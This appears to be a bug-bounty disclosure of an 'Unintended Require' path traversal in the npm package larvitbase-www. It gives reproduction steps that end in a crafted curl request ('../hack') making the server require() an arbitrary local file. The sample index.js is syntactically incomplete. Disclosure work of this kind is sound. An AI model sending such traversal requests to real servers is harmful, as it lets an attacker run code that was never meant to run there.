[larvitbase-www] Unintended Require
Discovered by inkz on Nodejs-ecosystem

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I would like to report Unintended Require vulnerability in larvitbase-www It is similar to bug found here #566056 because the module is maintained by the same developer, but it is a different module and the code behind the vulnerability is different. It allows loading arbitary non-production code (js files).


module name: larvitbase-www version: 0.7.5 npm page: https://www.npmjs.com/package/larvitbase-www

Module Description

Website base framework based on larvitbase (https://github.com/larvit/larvitbase)

Module Stats

20 downloads in the last day 72 downloads in the last week 651 downloads in the last month


Vulnerability Description

larvitbase-www is an HTTP server which dynamically loads (with help of require()) some parts of the code. As long as the path to required module is partially depend on the url (req.urlBase), anybody can cause code to load that was not intended to run on the server.

source code example:


require(req.routed.controllerFullPath)(req, res, cb);

Detailed description of this bug can be found here: https://nodesecroadmap.fyi/chapter-1/threat-UIR.html

Steps To Reproduce:

  • create directory for testing

    mkdir poc
    cd poc/
  • install package

    npm i larvitbase-www
  • create index.js file with default usage of larvitbase-www

index.js (example code form https://www.npmjs.com/package/larvitbase-www)

const   App = require('larvitbase-www');

let app;

app = new App({
    'baseOptions':  {'httpOptions': 8001},
    'routerOptions':    {},
    'reqParserOptions': {},

app.start(function (err) {
    if (err) throw err;
  • create hack.js file with some arbitary code for testing


  • start index.js

    node index.js
  • send crafted request to web app (localhost:8001 by deafult) in order to force using of hack.js script

    curl --path-as-is 'http://localhost:8001/../hack'
  • index.js should log something like this to terminal:

                        require(req.routed.controllerFullPath)(req, res, cb);
    TypeError: require(...) is not a function


Supporting Material/References:

  • OS: Linux Mint current
  • Node.js: 8.11.1
  • NPM: 6.4.0

Wrap up

  • I contacted the maintainer to let them know: N
  • I opened an issue in the related repository: N


An attacker is able to control the x in require(x) and cause code to load that was not intended to run on the server.